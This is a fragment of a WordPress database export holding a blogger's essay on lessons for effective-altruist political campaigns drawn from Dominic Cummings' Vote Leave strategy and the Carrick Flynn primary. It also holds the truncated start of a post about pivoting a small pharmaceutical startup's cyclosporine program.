href=\"https://www.google.com/url?sa=t&amp;rct=j&amp;q=&amp;esrc=s&amp;source=web&amp;cd=&amp;cad=rja&amp;uact=8&amp;ved=2ahUKEwjy46626v_3AhU8q4QIHf7tCk8QvOMEKAB6BAgFEAE&amp;url=https%3A%2F%2Fwww.marketwatch.com%2Fstory%2Fdespite-11-million-in-donations-from-a-crypto-billionaire-carrick-flynn-loses-big-in-oregon-primary-11652887087&amp;usg=AOvVaw2ZnTLRmcEqgAYB61XbvwaN\">has just blown about $14 million on the Carrick Flynn campaign</a>, including $7-$11 million (numbers vary) from Sam Bankman-Fried, the effective altruist crypto billionaire. Carrick Flynn is a guy with impeccable effective altruist credentials and very little political experience who ran in the Democratic primary for a newly created House seat in Oregon. He lost to Andrea Salinas, a longtime local Democratic political operative in that area, albeit one who never ran for election. She, needless to say, did not spend $14 million on her campaign.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>$14 million would have been a lot of money to spend on Flynn’s campaign even if he had won, as it’s difficult for any Congressperson to make a difference in today’s government, nevermind an incredibly junior Congressman with no political experience. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Considering that Carrick lost, it’s, well, a shitton of money. I don’t want to bring up the whole bednets thing, but $14 million buys a lot of bednets.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If the EA community plans to have political influence/run candidates in the future, I think there needs to be a much better plan than what there was for Carrick, which mostly seemed to be “EA guy decides he wants to run, everyone gives him money”. After all, this is supposed to be a&nbsp;<em>rational</em>&nbsp;community, and that doesn’t seem like a particularly rational strategy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This essay is an attempt to develop the frameworks of that plan. It’s based around Dominic Cummings’ long, detailed, somewhat rambling blogs (<a href=\"https://dominiccummings.com/2017/01/09/on-the-referendum-21-branching-histories-of-the-2016-referendum-and-the-frogs-before-the-storm-2/\">1</a>,&nbsp;<a href=\"https://dominiccummings.com/2016/10/29/on-the-referendum-20-the-campaign-physics-and-data-science-vote-leaves-voter-intention-collection-system-vics-now-available-for-all/\">2</a>, and&nbsp;<a href=\"https://dominiccummings.files.wordpress.com/2017/01/2016-ref-address.pdf#page=2\">3</a>) on how he thought out the Leave Campaign for Brexit, which was a very well-run campaign that accomplished its goals despite a lot of structural disadvantages and starting very far behind in the polls. It’s filtered through my experience selling stuff: although I’ve never run a campaign, I’ve been self-employed my whole life, selling my services, products, and software to the consumer world at large. I’m pretty good at selling a story, in other words.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Of course, neither my sources nor my own background are perfectly fitted to this task. There will definitely be gaps and errors in this document. I hope to get input from more knowledgeable people to fix it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, I just have to say, when I say more knowledgeable, I mean people who’ve actually participated in running a campaign, not people who are “political junkies” or pundits. As someone who’s done a lot of combat sports in my life, I am very aware of how ineffective combat sports fans are once they get punched in the face. I have to assume the same is true of political fans once they actually have to make a decision.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>1. Campaigns don’t make waves, they ride them.</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>One of the most important things that Dominic Cummings harps on is the fundamental idea above: campaigns don’t make waves, they ride them. I’ve also heard this as “The art of being a politician is to find a parade, start marching at the head of it, and then claim you’re the leader”.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F279b83f7-36cf-4c64-bf81-42d8d4517513_2000x1294.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F279b83f7-36cf-4c64-bf81-42d8d4517513_2000x1294.jpeg\" alt=\"Obama supports but won\'t lead Bud Billiken Parade, campaign says – Chicago  Tribune\" title=\"Obama supports but won\'t lead Bud Billiken Parade, campaign says – Chicago  Tribune\"/></a><figcaption>To be fair, this one probably is Obama’s parade.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>In Dominic Cummings’ Leave Campaign, his polling that voters were already concerned about immigration from the EU into the UK, and so one of the main focuses of their messaging was the idea that 58 million Turks were going to join the EU and migrate to the UK, taking jobs and straining the National Health Service. To be clear, this was not the issue that Dominic Cummings most cared about. If you read his writing, he was much more concerned about issues of political control between the EU and the UK. However, he knew it was the issue the voters cared about, so he rode that wave.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Carrick Flynn had 3 issues he cared about listed on his website: fix Congress (i.e. working with anybody to get issues passed), building a green economy, and preventing pandemics. Now, these are worthy issues, in my opinion. However, my opinion doesn’t matter. The real question is: are these worthy issues in the voters’ opinions?<br><br>Nope! I don’t even have to justify that by looking at surveys. Most of the reason that EA people were excited about Carrick Flynn was because he was going to make pandemic prevention an issue in Congress. Now, why do you think the other Democrats (or Republicans) haven’t made it an issue in their own campaigns?&nbsp;<em>Because they already know that voters don’t care</em>. Other campaigns aren’t stupid: if voters cared about pandemic prevention, the politicians would talk about it. Voters don’t, so they won’t.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Carrick Flynn should not have made pandemic prevention one of his major issues in his campaign. It would have been a much better idea to talk about issues that Democratic voters care about in his campaign (i.e. the boring culture war stuff that MSNBC talks about endlessly), and then quietly work on pandemic prevention once he got to Congress.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Instead, however, he tried to make his own wave: make the voters care about pandemic prevention, then be the leader in the campaign on that niche issue. This never, ever works.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>2. Make sure you pick the right people for the spotlight.</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>One of Dominic Cummings’ major tasks as the leader of the Leave Campaign was to keep the wrong people out of the spotlight. The most important person that Dominic Cummings had to keep out of the spotlight was Nigel Farage, who was the leader of the UK Independence Party. Even though Farage would be the natural face of the Leave Campaign, given his leadership of a party devoted to the UK leaving the EU, Cummings knew that Farage and UKIP were seen by the public at large as far-right thugs. Cummings describes in his polling how many of his respondents would actually agree with his messaging around Leave, but would refuse to support them because they didn’t want to be seen as in alignment with “those sort”.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now, let’s turn to Carrick Flynn. I don’t know Carrick Flynn, but from reputation and from what I’ve read he seems like an exemplar of EA values: fiercely smart, devoted to the good of others (often in foreign countries), and very cerebral. He’s probably a great guy to know.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, he is almost certainly not the right candidate for Oregon’s 6th congressional district. Most obviously, he’s not part of the district and hasn’t been for a long time. He left and did EA stuff all around the world, and literally only came back to run a Congressional campaign. Nobody in the district knew who he was, including any of the local politicians.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But also, according to Wikipedia, Oregon’s 6th congressional district’s two primary industries are agriculture and logging. Now, if I had to pick the guy who would click most with farmers and loggers, it’s not a cerebral nerd.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fa153f02c-ff34-4d01-99e0-b3390a10e9fb_683x1024.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fa153f02c-ff34-4d01-99e0-b3390a10e9fb_683x1024.jpeg\" alt=\"White Nerd Ninja Stock Photo - Download Image Now - iStock\" title=\"White Nerd Ninja Stock Photo - Download Image Now - iStock\"/></a><figcaption>This is not a photo of Carrick Flynn and I shouldn’t have put this here. But I thought it was funny.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>This also applies to Sam Bankman-Fried. The fact that Sam Bankman-Fried donated $7 million to Carrick Flynn’s campaign became the major focus of the press on Flynn’s campaign. It makes a lot of sense to me, personally, why he did this. Sam Bankman-Fried cares about pandemic prevention, and he wanted to donate to a candidate who also does. However, from the locals’ perspective, “random crypto billionaire donates millions to dude we’ve never heard of who’s running for Congress” is pretty sketchy, and was not helped by the additional EA people donating additional millions to Carrick Flynn.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>3. Have a couple focus-tested messages and stick to them.</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>One of the things that Dominic Cummings repeats endlessly is the importance of the Vote Leave campaign’s two central messages:&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>a) The UK gives 350 million pounds a week to the EU, when they could have been giving that to the NHS.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>b) There is going to be a flood of immigration into the UK with the new countries, like Turkey, joining the EU.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>They developed these messages near the beginning of the campaign, tested them with a variety of focus groups, and found they were by far the strongest messages. So, those were the messages they stuck to in all of their advertising, public messaging, and media campaigns.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F50617b7b-2b32-4ec6-b086-afb2399c059f_976x549.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F50617b7b-2b32-4ec6-b086-afb2399c059f_976x549.jpeg\" alt=\"Reality Check: Checking the Vote Leave leaflet - BBC News\" title=\"Reality Check: Checking the Vote Leave leaflet - BBC News\"/></a><figcaption>The infamous, incredibly effective Vote Leave leaflet that they blanketed the UK with.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>It’s important to note that these were not the most obviously important messages. Dominic Cummings, as previously mentioned, cared most about issues of political control. The media thought that Vote Leave should make their argument about the EU market, and tried to encourage them in that direction in debates. The conservative politicians came up with “Go Global” along with a fun diagram of a globe, which they thought was very clever.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But none of those messages tested as well as Turkey/NHS/£350 million, so Dominic Cummings ignored them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In Carrick Flynn’s campaign, it seems really obvious that his messages were not focus-tested. In a Democratic primary in an agricultural district, I’d assume that the messages that are going to play best to the Democratic base are going to be either culture war or stuff about supporting agriculture. I would really doubt that messages about effective cooperation or pandemic prevention test well.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Meanwhile, Andrea Salinas, the winner of the OR-06 primary, was focused very deliberately on culture war stuff in her messaging: universal healthcare, $15 minimum wage, abortion rights, and gun control. I’m not saying this is brilliant, but, if you had to bet without doing focus testing on what’s going to be the best message to communicate with a Democratic base, I’d bet it’s the same stuff that gets AOC all of her positive press.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>4. Measure the effectiveness of advertising.</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>As someone who sells my services and products every day for a living, I am forced to be aware of how ineffective most advertising is. I have spent dozens of hours and spent thousands of dollars on ad campaigns which had zero results on my sales.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is something that Dominic Cummings and his team were also acutely aware of. They only had 13.7 million pounds (coincidentally, close to the amount that Carrick Flynn had) to convince an entire country to vote a certain way. So, when they purchased advertising, they prioritized advertising whose effectiveness could be measured and compared, namely digital advertising (i.e. Facebook ads) and leafleting. They also used follow-up surveys of voters to determine how the advertising changed their likelihood of voting Leave.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now, I don’t know if Carrick Flynn’s campaign did something similar. But, given that they had $14 million to quickly spend on a district of around 500k people, I’d bet they didn’t. Instead, I’d bet they went the overfunded startup mode: when you have too much money, not enough people to really monitor the money spent, and a limited amount of time to spend the money, you just blanket the ads everywhere and hope for the best. This is not a good way to ensure votes.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Thanks for reading my newsletter! Future posts will almost certainly not be about politics.<strong>✓</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For what it’s worth, after coming up with his campaign’s messaging, Cummings found the most effective marketing was face-to-face, followed by texts, followed by targeting Facebook ads and targeted mail (including personally addressed mail). Emails and phone calls were almost useless, and Twitter was exceptionally useless.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>5. Distract the useless people.</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>One of Dominic Cummings’ major complaints about the broader Vote Leave coalition was how useless most of his political allies were. Most politicians, in his view, would rather lose a campaign conventionally than win it unconventionally, so they were constantly bombarding him with useless ideas about what they thought should work. This included using the same tactics, consultants, and messaging that had made Vote Leave so unpopular in the start of the campaign.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Cummings’s response was to organize committees for them to be on and then ignore the recommendations of the committees. When he needed them to fall in line (e.g. go on TV and say a certain message), there was a lot of bullying, cajoling, and bribing he needed to do as well.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I’m sure Carrick Flynn, and any person who attracts a lot of EA support, is going to get a lot of well-meaning but useless feedback from EA people, including people in the EA hierarchy. I don’t know how Carrick handled this, but committees seem to be a good way of doing so.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>6. Advertise closer to the end of the decision.&nbsp;</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>This one’s pretty straightforward, but it makes sense. Even though the Brexit referendum was announced many months before it actually happened, Dominic Cummings saved most of his advertising and messaging for the last 10 weeks. Most people don’t think about politics that much or that often, so they really only care close to when they need to make a decision.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>7. Decentralize your decision-making</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Campaigns are an unwieldy mix of volunteers and paid staff, all of whom are brought on very quickly. It’s like working at a startup with worse incentive alignment. As such, decisions from the top are not necessarily going to be executed at the bottom, and information from the bottom is not necessarily going to be filtered up to the top.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The most important thing, then, is to give everyone the information they need to do their job, and then the latitude to make the decisions necessary as they see fit. This is especially important when it comes to volunteers, who have a wide range of effectiveness, from the incredibly engaged to the half-assed. It’s important for the incredibly engaged to be able to go above and beyond with their work, and not be blocked by the half-assed.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>EA and EA-associated political campaigns will of course have this exact issue in spades. Decentralizing and empowering the more engaged so that they aren’t distracted by the less engaged will be huge for making a more effective campaign. I don’t know how Carrick Flynn ran the internals of his campaign, but I hope future EA campaigns go by this model.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>8. With a gentleman, a gentleman-and-a-half. With a pirate, a pirate-and-a-half.</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>This charming phrasing comes directly from Dominic Cummings. If you’re confused about the meaning, it’s basically tit-for-tat: if someone treats you nicely, treat them nicely. If someone treats you poorly, treat them poorly.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I imagine the extent to which this applies in politics would come as a surprise to most EA people. As Dominic Cummings found out, many people who are supposedly on your side in politics will actively work against you for their own reasons. Nigel Farage, for instance, undermined the Vote Leave campaign among his followers, forbidding them from working with Cummings, as he was upset that the campaign did not feature him. This was one of the reasons why Cummings constantly sidelined Farage and refused to give him information.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Carrick Flynn got a taste of this with&nbsp;<a href=\"https://www.wweek.com/news/state/2022/05/01/environmental-groups-condemn-congressional-candidate-carrick-flynns-comments-on-spotted-owls-timber-unity/\">his owl dustup</a>, in which he said he had “emotional sympathy” for Timber Unity, a group which was frustrated with restrictions on logging due to protections for an endangered owl species. This relatively innocuous phrase of “emotional sympathy” earned this public response from 6 different environmental groups in Oregon:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:quote -->\n<blockquote class=\"wp-block-quote\"><p>As organizations who have been fighting for decades to uphold the strong environmental values held by the people of Oregon, we are stunned and deeply saddened to hear Carrick Flynn, a Democratic candidate running for Congress, make comments mocking critical environmental protections, sympathizing with a far-right group that has ties to the Jan. 6 insurrection, and referring to our state’s iconic land use system as ‘insane’.</p></blockquote>\n<!-- /wp:quote -->\n\n<!-- wp:paragraph -->\n<p>Carrick Flynn might have expected environmentalists to be gentlemen, at least to him, given that one of his main campaign issues was building a green economy. He was wrong. They were pirates, and he needed to treat them as such. That included not apologizing or reversing statements: pirates take that as a sign of weakness.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>9. If you want to get the atypical voters involved, you have to be creative.</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>EA, by its nature, is a niche philosophy. However, I suspect that there are many non-engaged voters who would be interested in voting for an EA candidate speaking about EA issues, like pandemic prevention.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The challenge is reaching these voters. They are, by definition, not into politics. This was the same challenge Dominic Cummings faced. He wanted to reach working-class men who’d be most affected by a wave of unskilled immigration into the UK. However, these are not the sort of men who are generally into politics. The only news they follow, generally, is football (soccer) news.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, in order to reach them, that’s exactly the avenue that Dominic Cummings went down. The Vote Leave Campaign did a contest where football fans could win 50 million pounds if they successfully predicted the winner of every game in the European Championships that year. All they had to do was put in their name, address, email, telephone number, and how they intended to vote in the referendum.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F8a6ac771-1b2b-4991-ac24-dfc917751be8_976x549.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F8a6ac771-1b2b-4991-ac24-dfc917751be8_976x549.jpeg\" alt=\"Vote Leave fined over thousands of unsolicited texts - BBC News\" title=\"Vote Leave fined over thousands of unsolicited texts - BBC News\"/></a><figcaption>This is literally what the ad looked like. Sketchy? Yes, absolutely. But it worked.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Now, what does the European Championships have to do with Brexit? Very little! But that didn’t matter. The important thing was that this information gave Dominic Cummings the information he needed to target the voters.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I’m not sure what the equivalent contest would be for EA. There would need to be some better polling on who’s most sympathetic to EA issues. Perhaps it’s college students, or even churchgoers. However, it’d be easy enough to figure out, and then getting the information for these sorts of voters would only be a stupid contest away.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>10. Know what the press cares about.</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>For the most part, the press was hostile to Vote Leave. When they did cover it, they covered it unsympathetically. More importantly, however, they weren’t particularly interested in covering the issues that Vote Leave cared about, which made it difficult for Vote Leave to get press coverage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This isn’t unique to Vote Leave. The press, by and large, isn’t interested in substantial coverage of issues, and neither is their readership. When they cover politics, they’re really most interested in the personalities and the drama behind it, or, as Cummings puts it, the “snakes and ladders of careers”.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, the story that Cummings gave to the press was that Conservatives were forming an alternative government, and that Boris Johnson and Michael Gove were going to be head of it. This transformed the issue of Vote Leave into one of politicians usurping power, which is something the press cares about a lot more and is willing to cover. And, when Cummings got Johnson and Gove to discuss the reasons why they were forming an “alternative government”, namely the same focus-tested issues from before, this allowed those issues to get press coverage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>EA politicians need to do something similar. Carrick Flynn accidentally found out how the press worked when by far the biggest story of his campaign was a mysterious young crypto billionaire giving him $7 million, followed by environmentalist groups condemning him for his owl remarks. Or, in other words, money and interpersonal drama.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Faa1a9382-1bd0-44ac-88b3-2d81227f0395_1460x1106.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Faa1a9382-1bd0-44ac-88b3-2d81227f0395_1460x1106.png\" alt=\"\"/></a><figcaption>Top stories when I Google Carrick Flynn are Nancy Pelosi, Sam Bankman-Fried, and crypto. This is what the press cares about!</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>If EA groups or Carrick Flynn had planned better, they perhaps could have manipulated the press to their own benefit. For example, Carrick Flynn and Sam Bankman-Fried could have collaborated to make the story more like Flynn convincing Bankman-Fried to invest $7 million into Oregon as a green job initiative as part of some nonprofit that Flynn set up. That would require some extra work, but would have played way better in the press.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To conclude, I don’t mean to denigrate Carrick Flynn, EA, or Sam Bankman-Fried. This criticism comes out of a place of love, as I really do appreciate what EA does, what it stands for, and the impact it’s had in my life. I also think that Carrick Flynn seems like a great, hard-working guy, and I have no doubt he’d be the same as a politician.<br><br>However, as I said in the beginning, $14 million is a ton of money, whether you measure it by bednets or Congressional race standards. Dominic Cummings ran a nationwide campaign with about the same amount of money. If EA can’t win a local Congressional race with that amount, then there needs to be some serious reworking of how we think about things. I’m hoping this will be a good place to start.</p>\n<!-- /wp:paragraph -->','How to win an election in 10 easy steps: an effective altruist\'s guide￼','','inherit','closed','closed','','294-revision-v1','','','2022-06-15 14:31:51','2022-06-15 14:31:51','',294,'https://trevorklee.com/?p=295',0,'revision','',0),
(297,1,'2022-08-16 15:23:38','2022-08-16 15:23:38','<!-- wp:paragraph -->\n<p>As you’ve probably gathered from the post title, I’ve made a pivot with my company, Highway Pharmaceuticals.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For those of you who aren’t aware, I initially started Highway based around my excitement for cyclosporine’s possible utility in neurodegenerative diseases. Cyclosporine, an immunosuppressant, showed intriguing possibilities in neurodegeneration in trials in the 80s and 90s, back when we thought all neurodegeneration might be autoimmune diseases in disguise.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Cyclosporine was abandoned as a neurodegenerative treatment (although not as an immunosuppressant) because of variable efficacy, severe and unpredictable side effects, and an unclear mechanism. Years later,&nbsp;<a href=\"https://trevorklee.com/organ-transplant-patients-maybe-dont-get-dementia-heres-why/\">we found the mechanism relating cyclosporine to neurodegeneration</a>, but by then Biogen had solved neurodegeneration using their drug Adulhem (<a href=\"https://www.google.com/url?sa=t&amp;rct=j&amp;q=&amp;esrc=s&amp;source=web&amp;cd=&amp;cad=rja&amp;uact=8&amp;ved=2ahUKEwiomMWRzq_4AhVqkokEHdJNAH4QFnoECBwQAQ&amp;url=https%3A%2F%2Fwww.npr.org%2Fsections%2Fhealth-shots%2F2021%2F11%2F08%2F1052833252%2Fcost-and-controversy-are-limiting-use-of-new-alzheimers-drug&amp;usg=AOvVaw0uy5gDFKOsSSTaVYSj5s3d\">just kidding</a>). Meanwhile, I believed that I found a way to make cyclosporine more consistently efficacious while lowering the incidence of side effects.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Thanks for reading my newsletter! Subscribe for free to receive occasional posts, mostly about biology.<strong>✓</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I wanted to bring cyclosporine back into the mainstream and test it for neurodegeneration. Not only did I think neurodegeneration was important in a general sense, but also in a very personal sense. Neurodegeneration runs in my family. I’ve had multiple close family members end up with dementia in their old age, and it’s a terrible thing. In fact, I’d say it’s the single most important unsolved medical problem facing us today.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fc50ed791-88c6-4176-8673-84a49f819758_625x350.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fc50ed791-88c6-4176-8673-84a49f819758_625x350.jpeg\" alt=\"Controversy Surrounds Biogen and Eisai\'s Alzheimer\'s Drug Aducanumab |  BioSpace\" title=\"Controversy Surrounds Biogen and Eisai\'s Alzheimer\'s Drug Aducanumab |  BioSpace\"/></a><figcaption>The prevalence of neurodegeneration is also the single most important unsolved cause of bad stock photos facing us today.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>I knew I couldn’t just jump straight from zero to neurodegeneration, though, especially given my previous background as, um, “science blogger”. I’d be asking investors to trust these assumptions<br><br>a) Cyclosporine is the right drug for neurodegeneration</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>b) My version of cyclosporine is better than the old version</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>c) I/my company can take my version of cyclosporine through the complicated, expensive trials necessary to prove that my version is better than the old version</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>These are big asks! Even worse, there’d actually be another hidden assumption in there that you wouldn’t notice unless you were familiar with the biotech industry:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>d) Single asset drug repurposing can get funding and be successful [1]</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So I decided to allay at least one of those assumptions. Instead of trying to prove that cyclosporine was the right drug for neurodegeneration, I decided to start by just getting an approval of cyclosporine for an autoimmune disease, chronic spontaneous urticaria (CSU), that it was already being used off-label for.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>That would at least allow me to ignore assumption a) for now, and assumption c) would be a lot easier. CSU is essentially autoimmune hives, so trials in it, although still medical trials, come down just looking at someone’s skin and seeing if it clears up. It’s a lot easier to run than neurodegeneration, where you have to somehow look inside people’s brains. After I prove safety and efficacy in CSU, I planned to go onto neurodegeneration as well as other autoimmune diseases (i.e. a homerun and a few base hits simultaneously).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is still a tall order for a guy whose background was, again, science blogger. But things went surprisingly ok, all things considered. I linked up with an excellent corporate attorney and patent attorney, both of whom agreed to let me use their services on a pay later basis. I found a COO with significant experience in biotech who was interested in the work. And I started making a great network of people who were, if not fully bought into the work I was doing, at least interested in it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I felt good! The next step was in sight: a test of the drug in humans, to see if we actually saw the blood levels of cyclosporine that I expected we would. We had contracted with a CRO in the Netherlands and were raising the $1+ million needed to actually carry out the test when – pop! – the biotech markets imploded. Suddenly, investors literally stopped returning my (and everyone else’s) emails.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a 